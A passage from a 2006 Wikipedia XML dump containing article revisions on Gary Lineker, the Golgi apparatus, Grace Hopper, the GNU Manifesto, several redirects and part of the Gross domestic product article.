      <timestamp>2006-03-01T14:01:29Z</timestamp>
      <contributor>
        <username>Slumgum</username>
        <id>580636</id>
      </contributor>
      <minor />
      <comment>cat</comment>
      <text xml:space="preserve">'''Gary Winston Lineker''' [[Order of the British Empire|OBE]], (born [[30 November]], [[1960]]), was an [[England]] international [[football (soccer)|football]]er and is now a broadcaster.
  
Born in [[Leicester]], he became the foremost English [[striker]] of his generation.  Lineker's intelligence enabled him to cope better than his contemporaries when playing in continental [[Europe]], as well as to make a smooth transition into a role as a pundit and sports broadcaster. He is married and he and his wife Michelle have four sons. His oldest son George survived [[leukemia]] as a baby; Lineker has since appeared in adverts encouraging people to give blood as a result.

Lineker is a freeman of the City of Leicester (which entitles him to graze his sheep - should he have any - on Town Hall Square), and he is often referred to as &quot;Leicester's Favourite Son&quot;.  As a youngster, he famously worked on his family's stall in Leicester Market.

At this point he is currently living with his wife and two sons.

== Career in football ==

He began his career at his hometown club of [[Leicester City F.C.|Leicester City]] in [[1976]].
He broke into Leicester's first-team squad in [[1978]]. He rose to fame with [[Everton F.C.|Everton]] (1985-86) scoring 40 goals in 42 games, before [[FC Barcelona|Barcelona]] signed him just prior to the [[Football World Cup 1986|1986 World Cup Finals in Mexico]]. His [[World Cup Golden Boot|Golden Boot]] winning performance at the finals led to much anticipation of success at the [[Camp Nou]], and he didn't disappoint, scoring 21 goals in 41 games during his first season, including a [[Hat-trick|hat-trick]] in a 3-2 win over arch rivals [[Real Madrid]]. He went on to win the [[Copa del Rey]] in [[1988]] and the [[Cup Winners' Cup|European Cup Winners' Cup]] in [[1989]]. 

He then returned to England to play three seasons at [[Tottenham Hotspur F.C.|Tottenham Hotspur]], scoring 67 goals in 105 games and winning the [[FA Cup]], before ending his career with an injury-plagued spell in the [[J. League]] with [[Nagoya Grampus Eight]].

He first played for [[England national football team|England's national team]] against [[Scotland national football team|Scotland]] in [[1984]], winning the [[World Cup Golden Boot|Golden Boot]] at the [[Football World Cup 1986|1986 FIFA World Cup]] and reaching the semi-finals in the [[Football World Cup 1990|1990 FIFA World Cup]].  He retired from international football with 80 [[caps (football)|caps]] and 48 goals, one fewer than [[Bobby Charlton]]'s England record (although Charlton took 26 more caps to score his extra goal). In what proved to be his last England match, against [[Sweden national football team|Sweden]] at [[1992 European Football Championship|Euro 92]], he was controversially substituted in favour of Arsenal striker [[Alan M. Smith|Alan M. Smith]], ultimately denying him the chance to equal the total. He had earlier missed a [[penalty kick|penalty]] that would have brought him level in a pre-tournament friendly against [[Brazil national football team|Brazil]].

He was [[PFA Players' Player of the Year]] in [[1986]] and, despite his long career, was never [[yellow card|cautioned]] by a referee for foul play (never once receiving either a [[yellow card|yellow]] let alone a [[red card]]), a feat equalled only by [[Billy Wright (footballer)|Billy Wright]], [[John Charles|John Charles]] and [[Stanley Matthews|Sir Stanley Matthews]]. He acquired a Mr &quot;nice guy&quot; image; some cynics have suggested that this was because he rarely joined in defensive duties..

== Post playing career ==

Following retirement from professional football, he developed a career in the media, initially as a pundit before replacing [[Des Lynam]] as the [[BBC]]'s anchorman for football coverage, including their flagship football television programme ''[[Match of the Day]]'', and as a team captain on the comedic sports [[game show]], ''[[They Think It's All Over]]'' from [[1995]] to [[2003]], where he was heavily (though affectionately) ridiculed for being a &quot;goal hanger&quot;. Following the departure of [[Steve Ryder]] from the [[BBC]], Lineker was announced in late [[2005]] as the new presenter for the corporation's [[golf]] coverage. 

His popularity has enabled him to appear in a light-hearted series of commercials for [[Walkers]] [[crisps]], playing a comical role as an arch-villain which sends up his reputation as a nice guy.

In 2001, Gary Lineker was approached by game makers [[Codemasters]] to front the LMA Manager series on Playstation.
Lineker would pair up with Alan Hansen, friend and fellow MOTD pundit to voice the post match comments on the game with Barry Davies voicing the commentary. Since then the game has sold millions of copies and in LMA 2006, Gary Lineker voices news items and the cup draws on the game.
In 2004 he also choose to front the Codemasters England International Football game with him voicing the team selection and the pre and post match menus.

In 2003 Lineker was inducted into the [[English Football Hall of Fame]] in recognition of his talents. 

In October [[2003]], Lineker announced a £5 million rescue plan for cash-strapped club Leicester City, describing his involvement as charity rather than an ego trip. Lineker said that he would invest a six-figure sum and other members of his consortium would invest a similar amount. Lineker met the fans' group to persuade them to try and raise money to rescue his former club.

In [[2005]] Lineker was sued for [[defamation]] by Australian footballer [[Harry Kewell]] over comments Lineker had made writing in his column in the ''[[Sunday Telegraph]]'' about Kewell's transfer from Leeds to Liverpool. However the jury was unable to reach a verdict. It transpired in the case that the article had actually been [[Ghostwriter|ghost-written]] by a journalist at the ''Sunday Telegraph''.

{{start box}}
{{succession box|title=[[FWA Footballer of the Year|Football Writers' Association Footballer of the Year]]|before=[[Neville Southall]] |after=[[Clive Allen]]|years=1986}}
{{succession box|title=[[PFA Players' Player of the Year]]|before=[[Peter Reid]] |after=[[Clive Allen]]|years=1986}}
{{succession box|title=[[FWA Footballer of the Year|Football Writers' Association Footballer of the Year]]|before=[[Gordon Strachan]] |after=[[Chris Waddle]]|years=1992}}
{{end box}}

==Lincs Trivia==

His favourite sitcom is [[Cheers]].

He drives a [[Lexus]].

Shares a birthday with [[Winston Churchill]], hence his middle name of Winston.

Once remarked with typical irony &quot;Football is a game with 22 players and in the end the Germans always win&quot;

Has never scored at [[Villa Park]], the home of [[Aston Villa]] football club

==External links==
*[http://www.nationalfootballmuseum.com/Hall%20of%20Fame/garylineker.htm English Football Hall of Fame Profile]

[[Category:1960 births|Lineker, Gary]]
[[Category:Living people|Lineker, Gary]]
[[Category:FIFA 100|Lineker, Gary]]
[[Category:Leicesterians|Lineker, Gary]]
[[Category:English footballers|Lineker, Gary]]
[[Category:England footballers|Lineker, Gary]]
[[Category:Leicester City F.C. players|Lineker, Gary]]
[[Category:Everton F.C. players|Lineker, Gary]]
[[Category:FC Barcelona footballers|Lineker, Gary]]
[[Category:Tottenham Hotspur F.C. players|Lineker, Gary]]
[[Category:Officers of the British Empire|Lineker, Gary]]
[[Category:British football broadcasters|Lineker, Gary]]
[[Category:British sports broadcasters|Lineker, Gary]]

[[de:Gary Lineker]]
[[es:Gary Lineker]]
[[fr:Gary Lineker]]
[[ko:게리 리네커]]
[[it:Gary Lineker]]
[[he:גארי ליניקר]]
[[nl:Gary Lineker]]
[[ja:ゲーリー・リネカー]]
[[no:Gary Lineker]]
[[pl:Gary Lineker]]
[[sv:Gary Lineker]]
[[zh:加利·連尼加]]</text>
    </revision>
  </page>
  <page>
    <title>Golgi apparatus</title>
    <id>12584</id>
    <revision>
      <id>41336425</id>
      <timestamp>2006-02-26T17:59:43Z</timestamp>
      <contributor>
        <ip>82.117.212.65</ip>
      </contributor>
      <text xml:space="preserve">In [[cell biology]], the '''Golgi apparatus''' (also called a '''Golgi body''', '''Golgi complex''', or '''dictyosome''') is an [[organelle]] found in most [[eukaryote|eukaryotic]] cells, including those of [[plant]]s, [[animal]]s, and [[fungus|fungi]].  The name comes from [[Italy|Italian]] [[anatomy|anatomist]] [[Camillo Golgi]], who identified it in [[1898]].  The primary function of the Golgi apparatus is to process [[protein]]s targeted to the [[plasma membrane]], [[lysosome]]s or [[endosome]]s, and those that will be formed from the cell, and sort them within [[vesicle (biology)|vesicles]].  Thus, it functions as a central delivery system for the cell.

Most of the transport vesicles that leave the [[endoplasmic reticulum]] (ER), specifically ''rough'' ER, [[TRAPP_complex|are transported to the Golgi apparatus]], where they are modified, sorted, and shipped towards their final destination. The Golgi apparatus is present in most [[eukaryote|eukaryotic cell]]s, but tends to be more prominent where there are many substances, such as [[protein]]s, being secreted. For example, [[plasma B cell]]s, the [[antibody]]-secreting cells of the immune system, have prominent Golgi complexes.

==Function==
The Golgi apparatus is considered more or less the &quot;[[post office]]&quot; of the cell. It handles all incoming lipids, proteins, etc., and controls their export, as well.

The transport vesicles from the [[Endoplasmic Reticulum]] (ER) fuse with the ''cis'' face of the Golgi apparatus (to the cisternae) and empty their [[protein]] content into the Golgi [[lumen]]. The proteins are then transported through the medial region toward the ''trans'' face and are modified on their way. Possible modifications include [[glycosylation]] &lt;!--the logical syntax is &quot;include...AND...&quot; not &quot;include...OR...&quot;; it is understood that both are not mutually-dependent occurrences--&gt;and [[phosphorylation]]. The proteins are also labeled with a sequence of molecules according to their final destination. For example, the Golgi apparatus adds a [[mannose-6-phosphate]] label to proteins destined for lysosomes.

The [[TRAPP_complex|transport mechanism]] itself is not yet clear; it could happen by [[cisternae progression]] (the movement of the apparatus itself, building new cisternae at the ''cis'' face and destroying them at the ''trans'' face) or by ''vesicular transport'' (small vesicles transport the proteins from one [[cisterna]] to the next, while the cisternae remain unchanged). 
It is also proposed that the cisternae are interconnected, and the transport of cargo molecules within the Golgi is due to [[diffusion]], while the localisation of Golgi-resident proteins is achieved by an unknown mechanism.

Once the proteins reach the ''trans'' face, they are embedded into coated transport vesicles and brought to their final destinations. The form of the vesicle is determined by the type of protein and the label it acquired.

An example of the Golgi complex's functioning is the modification of glycoproteins (used in [[cell membrane]]s). Vesicles from the ER contain simplified glycosylated proteins. In the Golgi complex, carbohydrates are attached and removed from these glycoproteins, creating a diversity of carbohydrate structures on the proteins. After they have been secreted in to the cell the vesicles fuse to the cell membrane and release their contents.

Along with protein modification, Golgi apparatus is involved in the transport of [[lipid]]s around the cell, as well, creating [[lysosome]]s, [[organelle]]s involved in [[digestion]].


{{organelles}}
[[Category:Organelles]][[Category:Eponymous anatomical structures]]

[[cs:Golgiho aparát]]
[[da:Golgiapparat]]
[[de:Golgi-Apparat]]
[[es:Aparato de Golgi]]
[[eo:Golĝi-aparato]]
[[fr:Appareil de Golgi]]
[[ko:골지장치]]
[[hr:Golgijev aparat]]
[[is:Golgiflétta]]
[[it:Apparato del Golgi]]
[[he:גולג'י]]
[[lt:Goldžio kompleksas]]
[[lb:Golgiapparat]]
[[mk:Голџиев систем]]
[[nl:Golgi-apparaat]]
[[ja:ゴルジ体]]
[[pl:Aparat Golgiego]]
[[pt:Complexo de Golgi]]
[[sk:Golgiho aparát]]
[[sl:Golgijev aparat]]
[[vi:Bộ máy Golgi]]
[[tr:Golgi aygıtı]]
[[zh:高尔机体]]
[[sr:Голџијев апарат]]</text>
    </revision>
  </page>
  <page>
    <title>GFDL (disambiguation)</title>
    <id>12587</id>
    <revision>
      <id>31830725</id>
      <timestamp>2005-12-18T09:04:16Z</timestamp>
      <contributor>
        <username>Hathawayc</username>
        <id>221296</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''GFDL''' may stand for:

* The [[GNU Free Documentation License]], a [[copyleft]] license
* The [[Geophysical Fluid Dynamics Laboratory]], a division of [[NOAA]].

{{4LA}}</text>
    </revision>
  </page>
  <page>
    <title>Grace Hopper</title>
    <id>12590</id>
    <revision>
      <id>41651531</id>
      <timestamp>2006-02-28T20:29:19Z</timestamp>
      <contributor>
        <ip>168.16.190.72</ip>
      </contributor>
      <comment>/* UNIVAC */</comment>
      <text xml:space="preserve">[[Image:GraceHopper.jpg|thumbnail|right|172px|Grace Hopper]]
[[Rear Admiral]] '''Grace Murray Hopper''' ([[December 9]], [[1906]] &amp;ndash; [[January 1]], [[1992]]) was an early computer pioneer.  She was the first [[programmer]] for the [[Mark I Calculator]] and the developer of the first [[compiler]] for a computer programming language.  

==Early life and education==
Hopper was born '''Grace Brewster Murray'''.  She married Vincent Hopper in 1930 and was divorced in 1945.  She graduated [[Phi Beta Kappa Society|Phi Beta Kappa]] from [[Vassar College]] with a bachelor's degree in mathematics and physics in [[1928]] and pursued her graduate education at [[Yale University]], where she received an [[Master's degree|MA]] degree in the same two subjects in [[1930]] and in [[1934]] received a [[Doctor of Philosophy|Ph.D.]] in mathematics. Her dissertation was on ''New Types of Irreducibility Criteria''.  Hopper began teaching [[mathematics]] at [[Vassar_College|Vassar]] in [[1931]]; by [[1941]] she was an [[associate professor]]. 

==Mark I and Mark II Calculators==
In [[1943]] she joined the [[U.S. Naval Reserve]] and was assigned to work with [[Howard Aiken]] on the [[Mark I Calculator]]. She was the first person to write a program for it.  At the end of the war she was discharged from the Navy, but she continued to work on the development of the Mark II and the Mark III [[Calculator]]s.  It was while she was working on Mark 2 that she discovered a [[moth]] in a relay &amp;mdash; a bug in the computer.  Hopper noted it in a log book (now in the [[Smithsonian Institution]]) as the first actual case of a bug being found.  Erroneously, some have cited this incident as the genesis of the term [[computer bug|bug]], but the term was already in wide use.

==UNIVAC==
In [[1949]], Hopper became an employee of the [[Eckert-Mauchly Computer Corporation]] and joined the team developing the [[UNIVAC I]]. In the early [[1950s]] the company was taken over by the [[Remington Rand]] corporation and it was while she was working for them that her original [[compiler]] work was done.  The compiler was known as the A compiler and its first version was [[A-0]]. Later versions were  released commercially as the [[ARITH-MATIC]], [[MATH-MATIC]] and [[FLOW-MATIC]] compilers.

==COBOL==
She later returned to the Navy where she worked on validation software for the programming language [[COBOL]] and its compiler. COBOL was defined by the [[CODASYL]] committee which extended her FLOW-MATIC language with some ideas from the [[IBM]] equivalent, the [[COMTRAN]]. However, it was her idea that programs could be written in a language that was close to English rather than in [[machine code]] or in languages close to machine code, such as the [[assembler]]s of the time. It is fair to say that COBOL was based very much on her philosophy. 

==Standards==
In the 1970s, she pioneered the implementation of [[standardization|standards]] testing of computers, most significantly for [[programming languages]], particularly for [[COBOL]] and [[Fortran]].  The '''Navy Tests''' for conformance to these language standards led to significant convergence among the programming language [[dialect]]s of the major computer vendors.  These tests, and their official administration, were taken over in the 1980s by the National Bureau of Standards, now [[NIST]].

==Retirement==
[[Image:Grace Hopper.jpg|thumbnail|200px|Grace Hopper (January 1984)]]Hopper retired from the Naval Reserve with the rank of [[Commander]] at the end of [[1966]].  She was recalled to active duty in August of [[1967]] for a six-month period that turned into an indefinite assignment.  She again retired in in [[1971]] but was asked to return to active duty again in [[1972]]. She was promoted to [[Captain]] in [[1973]] by Admiral [[Elmo R. Zumwalt, Jr.]]. 

After Rep. [[Philip Crane]] saw her on a March [[1983]] segment of ''[[60 Minutes]]'', he championed a joint [[resolution (law)|resolution]] in the [[United States House of Representatives|House of Representatives]] which led to her promotion to [[Commodore (rank)|Commodore]] by special Presidential appointment.  By [[1985]] she became a [[rear admiral]].  She retired (involuntarily) from the Navy in [[1986]].  At a celebration held in Boston on the [[USS Constitution]] to celebrate her retirement, Hopper was awarded the Defense Distinguished Service Medal, the highest award possible by the Department of Defense.  At the moment of her retirement, she was the oldest officer in the US Navy and aboard the oldest ship in the US Navy. 

She was then hired as a senior consultant to [[Digital Equipment Corporation]], a position she retained until her death in [[1992]].  Her primary activity in this capacity was as a goodwill ambassador, lecturing widely on the early days of computers, her career, and on efforts that computer vendors could take to make life easier for their users.  She visited a large fraction of Digital engineering facilities where she generally received a standing ovation at the conclusion of her remarks.  She always wore her Navy full dress uniform to these lectures.

==Military awards==
Her military awards and decorations include:
* [[Defense Distinguished Service Medal]]
* [[Legion of Merit]]
* [[Meritorious Service Medal (USA)|Meritorious Service Medal]]
* [[American Campaign Medal]]
* [[World War II Victory Medal]]
* [[National Defense Service Medal]]
* [[Armed Forces Reserve Medal]] with two [[Hourglass Device]]s
* [[Naval Reserve Medal]]

She was laid to rest with full military honors in [[Arlington National Cemetery]].  

''[[Grace Murray Hopper Park]]'', located on South Joyce Street in [[Arlington, Virginia]], is a small memorial park in front of her former residence and is now owned by Arlington County, Virginia. 

Women at the world's largest software company, [[Microsoft Corporation]], formed an employee group called &quot;Hoppers&quot; and established a scholarship in her honor.  Hoppers has over 3000 members worldwide.

==Honors==
* [[1969]] &amp;ndash; She won the first &quot;man of the year&quot; award from the [[Association of Information Technology Professionals|Data Processing Management Association]].
* [[1971]] &amp;ndash; The annual &quot;Grace Murray Hopper Award for Outstanding Young Computer Professionals&quot; was established in 1971 by the [[Association for Computing Machinery]].
* [[1973]] &amp;ndash; She became the first person from the United States and the first woman of any nationality to be made a Distinguished Fellow of the [[British Computer Society]].
* [[1986]] &amp;ndash; Upon her retirement she received the [[Defense Distinguished Service Medal]].
* [[1987]] &amp;ndash; She became a [[Computer History Museum]]  [http://www.computerhistory.org/events/hall_of_fellows/hopper/ Fellow Award Recipient].
* [[1991]] &amp;ndash; She received the [[National Medal of Technology]].
* [[1996]] &amp;ndash; [[USS Hopper (DDG-70)|USS ''Hopper'' (DDG-70)]], named in her honor, was launched. ''Hopper'' is one of few [[List of U.S. military vessels named after women|U.S. Navy ships to be named after a woman]].

==Anecdotes==
[[Image:H96566k.jpg|thumbnail|185px|Photo of first [[computer bug]].]]
Throughout much of her later career,  Grace Hopper was much in demand as a speaker at various computer-related events. She was well-known for her lively and irreverent speaking style, as well as a rich treasury of early &quot;war stories&quot;.

*While she was working on a Mark II computer at [[Harvard University]], her associates discovered a [[moth]] stuck in a [[relay]] and thereby impeding operation, whereupon she remarked that they were  &quot;debugging&quot; the system. Though the term ''[[computer bug]]'' cannot be definitively attributed to Admiral Hopper, she did bring the term into popularity. The remains of the moth can be found in the group's log book at the [[Smithsonian Institution|Smithsonian Institution's]] [[National Museum of American History]] in [[Washington, D.C.]].

*Grace Hopper is famous for her ''nanoseconds'' visual aid. People (such as generals and admirals) used to ask her why [[satellite]] communication took so long. She started handing out pieces of wire which were under one foot long, which is the distance that light travels in one [[nanosecond]].  Later she used the same pieces of wire to illustrate why computers had to be small to be fast. At many of her talks, she handed out nanoseconds to everyone in the audience, contrasting them with a coil of wire nearly a thousand feet long, representing a [[microsecond]].

{{Wikiquote}}
Obituary notices by 
* Betts, Mitch (''[[Computerworld]]'' 26: 14, 1992)
* Bromberg, Howard (''[[IEEE Software]]'' 9: 103&amp;ndash;104, 1992)
* Danca, Richard A. (''[[Federal Computing Week]]'' 6: 26&amp;ndash;27, 1992)
* Hancock, Bill (''[[Digital Review]]'' 9: 40, 1992)
* Power, Kevin (''[[Government Computer News]]'' 11: 70, 1992)
* [[Jean E. Sammet|Sammet, J.E.]]  (''[[Communications of the ACM]]'' 35: 128&amp;ndash;132, 1992)
* Weiss, Eric A. (''[[IEEE Annals of the History of Computing]]'' 14: 56&amp;ndash;58, 1992)

==See also==
* [[Women in computing]]
* [[Systems engineering]]
** [[Futures techniques]]

==External links==
*[http://www.history.navy.mil/bios/hopper.htm Biography] and [http://www.history.navy.mil/photos/pers-us/uspers-h/g-hoppr.htm Images] from the [[United States Navy|U.S. Navy]] [[Naval Historical Center]]
*[http://www.chips.navy.mil/links/grace_hopper/womn.htm Grace Hopper links] from ''Chips'', the U.S. Navy [[information technology]] magazine
*[http://www-groups.dcs.st-and.ac.uk/~history/Mathematicians/Hopper.html Full Hopper biography] with many links
*[http://ei.cs.vt.edu/~history/Hopper.Danis.html A shorter Hopper biography]
*[http://www.cs.yale.edu/homes/tap/Files/hopper-story.html Biography] and [http://www.cs.yale.edu/homes/tap/Files/hopper-wit.html Wit and Wisdom] from a Yale website
*[http://www.hopper.navy.mil/ USS Hopper website], which includes a [http://www.hopper.navy.mil/grace/grace.htm biography of Hopper] 
*[http://www.acm.org/awards/awards_hopper.html Grace Murray Hopper Award]
*[http://www2.govexec.com/gtla/ The Government Technology Leadership Awards: The Gracies]
*[http://www.sdsc.edu/ScienceWomen/hopper.html Biography from the San Diego Supercomputer Center]
*[http://americanhistory.si.edu/collections/object.cfm?key=35&amp;objkey=30 Page from log book with moth/bug at the National Museum of American History]
*[http://myoldmac.net/FAQ/firstComputerBug.htm More details and photos from the moth/bug in the Mark II]
* {{MathGenealogy |id=15664}}

[[Category:1906 births|Hopper, Grace]]
[[Category:1992 deaths|Hopper, Grace]]
[[Category:20th century mathematicians|Hopper, Grace]]
[[Category:American World War II veterans|Hopper, Grace]]
[[Category:American computer programmers|Hopper, Grace]]
[[Category:American mathematicians|Hopper, Grace]]
[[Category:American physicists|Hopper, Grace]]
[[Category:American scientists|Hopper, Grace]]
[[Category:Burials at Arlington National Cemetery|Hopper, Grace]]
[[Category:Computer pioneers|Hopper, Grace]]
[[Category:Oceanographers|Hopper, Grace]]
[[Category:Recipients of the Legion of Merit|Hopper, Grace]]
[[Category:United States Navy admirals|Hopper, Grace]]
[[Category:Women computer scientists|Hopper, Grace]]
[[Category:Women in war|Hopper, Grace]]
[[Category:Women mathematicians|Hopper, Grace]]

[[de:Grace Hopper]]
[[fr:Grace Hopper]]
[[he:גרייס הופר]]
[[it:Grace Murray Hopper]]
[[nl:Grace Murray Hopper]]
[[pl:Grace Hopper]]
[[ru:Хоппер, Грейс]]
[[sv:Grace Hopper]]</text>
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  </page>
  <page>
    <title>Gini coefficent</title>
    <id>12591</id>
    <revision>
      <id>15910266</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Gini coefficient]]
</text>
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  </page>
  <page>
    <title>GNU Manifesto</title>
    <id>12592</id>
    <revision>
      <id>38500172</id>
      <timestamp>2006-02-06T19:45:04Z</timestamp>
      <contributor>
        <username>Frap</username>
        <id>612852</id>
      </contributor>
      <comment>Added categories</comment>
      <text xml:space="preserve">The '''GNU Manifesto''' was written by [[Richard Stallman]] and published in March [[1985]] in ''[[Dr. Dobb's Journal|Dr. Dobb's Journal of Software Tools]]'' '''10'''(3) as an explanation and definition of the goals of the [[GNU]] project, and to call for participation and support.  It is regarded by many in the [[free software movement]] as a fundamental philosophical source. The full text is included with GNU software such as [[Emacs]], and is available on the web.  For the first few years, it was updated in minor ways to account for developments, but since [[1993]] it has been left unchanged.

== External links ==
* [http://www.gnu.org/gnu/manifesto.html The GNU Manifesto]
* [http://www.math.utah.edu/ftp/pub/tex/bib/toc/dr-dobbs-1980.html#10(3):March:1985 Dr. Dobb's Journal, March 1985]

[[Category:Free software]]
[[Category:Internet culture]]

[[ca:Manifest GNU]]
[[es:Manifiesto GNU]]
[[ko:GNU 선언문]]
[[sk:GNU Manifesto]]</text>
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    <title>Georgia, Caucasus</title>
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        <ip>137.111.13.32</ip>
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      <comment>redirecting</comment>
      <text xml:space="preserve">#REDIRECT [[Georgia (country)]]</text>
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  <page>
    <title>Gross domestic product</title>
    <id>12594</id>
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      <id>42053023</id>
      <timestamp>2006-03-03T13:55:40Z</timestamp>
      <contributor>
        <username>SCEhardt</username>
        <id>179728</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/212.159.98.189|212.159.98.189]] ([[User talk:212.159.98.189|talk]]) to last version by Shadow demon</comment>
      <text xml:space="preserve">The most common approach to measuring and understanding GDP is the expenditure method:

: ''GDP = [[consumption]] + [[investment]] + [[export]]s − [[import]]s''

Consumption and investment in this equation are the expenditure on final goods and services. The exports minus imports part of the equation (often called '''net exports''')  then adjusts this by subtracting the part of this expenditure not produced domestically (the imports), and adding back in domestic production not consumed at home (the exports).

Economists (since [[Keynes]]) have preferred to split the general consumption term into two parts; private consumption, and [[public sector]] spending. Two advantages of dividing total consumption this way in theoretical macroeconomics are:
*'''Private consumption''' is a central concern of [[welfare economics]]. The private investment and trade portions of the economy are ultimately directed (in mainstream economic models) to increases in long-term private consumption.
*If separated from [[endogenous]] private consumption, '''Government consumption''' can be treated as [[exogenous]], so that different government spending levels can be considered within a meaningful macroeconomic framework.

Therefore GDP can be expressed as:

: ''GDP = [[Household consumption expenditures|private consumption]] + [[government]] + [[investment]] + [[balance of trade|net exports]]''
: (or simply '''GDP = C + G + I + NX''')
 
=== The components of GDP ===

Each of the variables '''C''', '''I''', '''G''', and '''NX''' :

*'''C''' is '''private''' consumption (or '''C'''onsumer expenditures) in the economy. This includes most expenditures of [[household]]s such as food, rent, medical expenses and so on.
*'''I''' is defined as [[business]] investments in [[capital (economics)|capital]]. Examples of investment by a business include construction of a new [[mining|mine]], purchase of [[software]], or purchase of machinery and equipment for a factory. 'Investment' in GDP is meant very specifically as non-[[financial product]] purchases. Buying financial products is classed as [[saving]] in [[macroeconomic]]s, as opposed to '''investment''' (which, in the GDP formula is a form of spending). The distinction is (in theory) clear: if money is converted into goods or services, without a repayment [[liability]] it ''is'' investment. For example, if you buy a [[bond]] or [[share]] the ownership of the money has only nominally changed hands, and this [[transfer payment]] is excluded from the GDP sum. Although such purchases would be called ''investments'' in normal speech, from the total-economy point of view, this is simply swapping of [[deed]]s, and not part of the [[real economy]] or the GDP formula.
*'''G''' is the sum of government expenditures on final goods and services. It includes salaries of [[public servants]], purchase of weapons for the military, and any investment expenditure by a government. It does not include any transfer payments, such as [[social security]] or [[unemployment benefits]]. The relative size of government expenditure compared to GDP as a whole is critical in the theory of [[crowding out (economics)|crowding out]], and the [[Keynesian cross]].
*'''NX''' are &quot;net exports&quot; in the economy ([[gross]] exports - gross imports). GDP captures the amount a country produces, including goods and services produced for overseas consumption, therefore exports are added. Imports are subtracted since imported goods will be included in the terms '''G''', '''I''', or '''C''', and must be deducted to avoid counting foreign [[supply]] as domestic.

It is important to understand the meaning of each variable ''precisely'' in order to:
*Read national accounts.
*Understand [[Keynesian economics|Keynesian]] or [[neo-classical economics|neo-classical]] macroeconomics.;

=== Examples of GDP component variables === 

Examples of '''C''', '''I''', '''G''', &amp; '''NX''': If you spend money to renovate your hotel so that occupancy rates increase, that is private investment, but if you buy shares in a consortium to do the same thing it is [[saving]]. The former is included when measuring GDP (in '''I'''), the latter is not. However, when the consortium conducted its own expenditure on renovation, that expenditure would be included in GDP.

If the hotel is your private home your renovation spending would be measured as '''C'''onsumption, but if a government agency is converting the hotel into an office for civil servants the renovation spending would be measured as part of public sector spending ('''G'''). 

If the renovation involves the purchase of a [[chandelier]] from abroad, that spending would ''also'' be counted as an increase in imports, so that '''NX''' would fall and the total GDP is unaffected by the purchase. (This highlights the fact that GDP is intended to measure domestic [[production]] rather than total consumption or spending. Spending is really a convenient means of estimating production.) 

If you are paid to manufacture the chandelier to hang in a foreign hotel the situation would be reversed, and the payment you receive would be counted in '''NX''' (positively, as an export). Again, we see that GDP is attempting to measure production through the means of [[expenditure]]; if the chandelier you produced had been bought domestically it would have been included in the GDP figures (in '''C''' or '''I''') when purchased by a consumer or a business, but because it was exported it is necessary to 'correct' the amount consumed domestically to give the amount produced domestically. (As in Gross Domestic '''Product'''.). 

=== Difference from [[Aggregate expenditure]] ===

An alternative measure of the economy to GDP is the [[Aggregate expenditure]] measure, which is identical to GDP except that it '''excludes''' items produced but not purchased (net inventory/stock level growth). If the economy produces more goods than are sold, the increase in inventory would generally be '''included''' in the GDP figure (as &quot;Investment&quot;). GDP counts these changes in inventory levels as investment.

=== The GDP Income account ===

Another way of measuring GDP is to measure the total income payable in the GDP income accounts. This should provide the same figure as the expenditure method described above.

The formula for GDP measured using the income approach, called GDP(I), is:

: ''GDP = [[Compensation of employees]] + [[Gross operating surplus]] + [[Gross mixed income]] + Taxes less subsidies on production and imports''

*'''Compensation of employees''' (COE) measures the total remuneration to employees for work done. It includes wages and salaries, as well as employer contributions to [[social security]] and other such programs.
*'''Gross operating surplus''' (GOS) is the surplus due to owners of incorporated businesses. Often called [[profit]]s, although only a subset of total costs are subtracted from gross output to calculate GOS.
*'''Gross mixed income''' (GMI) is the same measure as GOS, but for unincorporated businesses. This often includes most small businesses.

The sum of '''COE''', '''GOS''' and '''GMI''' is called total factor income, and measures the value of GDP at factor (basic) prices.The difference between basic prices and final prices (those used in the expenditure calculation) is the total taxes and subsidies that the Government has levied or paid on that production. So adding taxes less subsidies on production and imports converts GDP at factor cost to GDP(I).

==Measurement==
===International Standards===
The international standard for measuring GDP is contained in the book ''[[United Nations System of National Accounts (UNSNA)|System of National Accounts]]'' (1993), which was prepared by representatives of the [[International Monetary Fund]], [[European Union]], [[Organisation for Economic Co-operation and Development]], [[United Nations]] and [[World Bank]]. The publication is normally referred to as SNA93, to distinguish it from the previous edition published in 1968 (called SNA68).

SNA93 sets out a set of rules and procedures for the measurement of national accounts. The standards are designed to be flexible, to allow for differences in local statistical needs and conditions.

===National Measurement===
Within each country GDP is normally measured by a national government statistical agency, as private sector organisations normally do not have access to the information required (especially information on expenditure and production by governments).

* Australia: [[Australian Bureau of Statistics]] (ABS).
* Austria: [http://www.statistik-austria.at Statistik Austria].
* Canada: [[Statistics Canada]] (StatCan).
* Russia: [http://www.gks.ru/eng/ Federal State Statistics Service]
* United States: [[Bureau of Economic Analysis]] (BEA).
GDP can measure spending on all goods and services.
GDP can also measure all income earned.

===Interest rates===
Net interest expense is a [[transfer payment]] in all sectors except the financial sector. Net interest expenses in the financial sector is seen as [[production]] and [[value added]] and is added to GDP..

==Cross-border comparison==
[[Image:Gdp nominal and ppp 2004 world map.PNG|thumb|IMF 2004 figures of GDP of nominal compared to PPP]]
The level of GDP in different countries may be compared by converting their value in national currency according to ''either'' 
*'''current currency exchange rate''': GDP calculated by exchange rates prevailing on international [[currency market]]s
*'''purchasing power parity exchange rate''': GDP calculated by [[purchasing power parity]] (PPP) of each currency relative to a selected standard (usually the [[United States dollar]]). 

The relative ranking of countries may differ dramatically between the two approaches.

*The ''current exchange rate method'' converts the value of goods and services using global currency [[exchange rates]]. This can offer better indications of a country's international purchasing power and relative economic strength. For instance, if 10% of GDP is being spent on buying hi-tech foreign [[arms]], the number of weapons purchased is entirely governed by ''current exchange rates'', since arms are a [[traded product]] bought on the international market (there is no meaningful 'local' price distinct from the international price for high technology goods).
*The ''purchasing power parity method'' accounts for the relative effective domestic purchasing power of the average producer or consumer within an economy. This can be a better indicator of the living standards of less-developed countries because it compensates for the weakness of local currencies in world markets. The PPP method of GDP conversion is most relevant to non-traded goods and services. 

There is a clear pattern of the ''purchasing power parity method'' decreasing the disparity in GDP between high and low income (GDP) countries, as compared to the ''current exchange rate method''. This finding is called the [[Penn effect]].

For more information see [[measures of national income]].

== GDP and standard of living ==

GDP per capita is often used as an indicator of [[standard of living]] in an [[economic system|economy]]. While this approach has advantages, many criticisms of GDP focus on its use as an indicator of standard of living.

